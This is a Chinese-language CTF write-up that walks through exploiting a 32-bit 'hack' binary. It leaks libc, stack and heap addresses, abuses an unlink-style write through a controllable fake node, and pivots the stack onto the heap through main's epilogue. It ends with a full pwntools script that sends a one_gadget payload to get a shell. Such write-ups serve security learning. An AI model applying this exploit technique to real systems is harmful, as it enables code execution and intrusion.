基础太差… tcl

Hack

不知道啥比赛的题…上课上完有个朋友给我发了题…初看挺简单…后来看了群里师傅的思路才做出来.. 曲线救国曲线救国。。。 附件

Analysis

X86的程序题目意图很明显考察利用思路…

➜  Desktop checksec hack
[*] '/home/n132/Desktop/hack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

直接允许泄露栈地址,堆地址,libc基址 最后的部分考察利用

  P1 = fake_node->pre;
  P2 = fake_node->next;
  P1->next = P2;
  P2->pre = P1;

其中fake_node完全可控

思路

  • 可以设置p1,p2然后程序就会往p1+8写p2和p2+12写p1
  • 那么问题来了假设我们要控制执行流那么我们一定要有个能执行的address
  • 因为可执行不可写那么显然那个address是填写在我们之前控制的堆上..
  • 所以我们最后设置p1,p2的目的是让程序运行到堆上去…
  • 今天的新发现…32位程序main在ret前是.(自己随便编了一个发现也是…之前都没注意到,tcltcl)
     8048702:	c9                   	leave  
     8048703:	8d 61 fc             	lea    -0x4(%ecx),%esp
     8048706:	c3                   	ret   
    
  • 然后我们就可以将stack migrate到heap上跳gadget…

真是TCLTCL

EXP

from pwn import *
#context.log_level = 'debug'
p = process("./hack")
elf = ELF("./hack")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")


p.recvuntil("input address: \n")
p.sendline("134520860")
p.recvuntil("0x")
addr = int(p.recvuntil("\n",drop=True),16)
print hex(addr)


libc_base = addr - libc.symbols['puts']

environ_addr = libc_base+libc.symbols['_environ']

p.recvuntil("Second chance: \n")
p.sendline(str(environ_addr))
p.recvuntil("0x")
stack_addr = int(p.recvuntil("\n",drop=True),16)-(0xffffdef0-4-0xfffdd000)


ret_addr = stack_addr+0xffffd05c-0x804b000
p.recvuntil("node is ")
heap=int(p.readuntil(",")[:-1],16)-0x20
log.info(hex(libc_base))
log.info(hex(stack_addr))
log.info(hex(heap))
#gdb.attach(p,'b *0x8048706')
libc.address=libc_base
payload  = p32(0x3ac69+libc_base)+p32(0)+p32(0xffffd054-12+stack_addr-0xfffdc220)+p32(heap+0x24)
p.sendafter("now: ",payload)
p.interactive("nier>>>>")